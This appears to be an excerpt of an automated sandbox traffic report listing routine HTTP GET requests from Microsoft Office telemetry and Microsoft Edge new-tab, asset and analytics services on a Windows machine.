Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=29FAFED0AE7460922E52EBF9AFD56107&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=c2ce695d8d844110f2f57d62eda5549b HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=29FAFED0AE7460922E52EBF9AFD56107; _EDGE_S=F=1&SID=1B36F6824F29691A04B5E3AB4ECD6890; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCD.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1730333925114&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=29FAFED0AE7460922E52EBF9AFD56107&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730333925114&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c328107910c9461082087dd46be8095d&activityId=c328107910c9461082087dd46be8095d&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=29FAFED0AE7460922E52EBF9AFD56107; _EDGE_S=F=1&SID=1B36F6824F29691A04B5E3AB4ECD6890; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1730333925114&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=29FAFED0AE7460922E52EBF9AFD56107&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=112c5d128e8aa3120d1df9d1730333927; XID=112c5d128e8aa3120d1df9d1730333927
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730333925114&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c328107910c9461082087dd46be8095d&activityId=c328107910c9461082087dd46be8095d&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=554C98315C6049789DB311C4AAFDC048&MUID=29FAFED0AE7460922E52EBF9AFD56107 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=29FAFED0AE7460922E52EBF9AFD56107; _EDGE_S=F=1&SID=1B36F6824F29691A04B5E3AB4ECD6890; _EDGE_V=1; msnup=; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
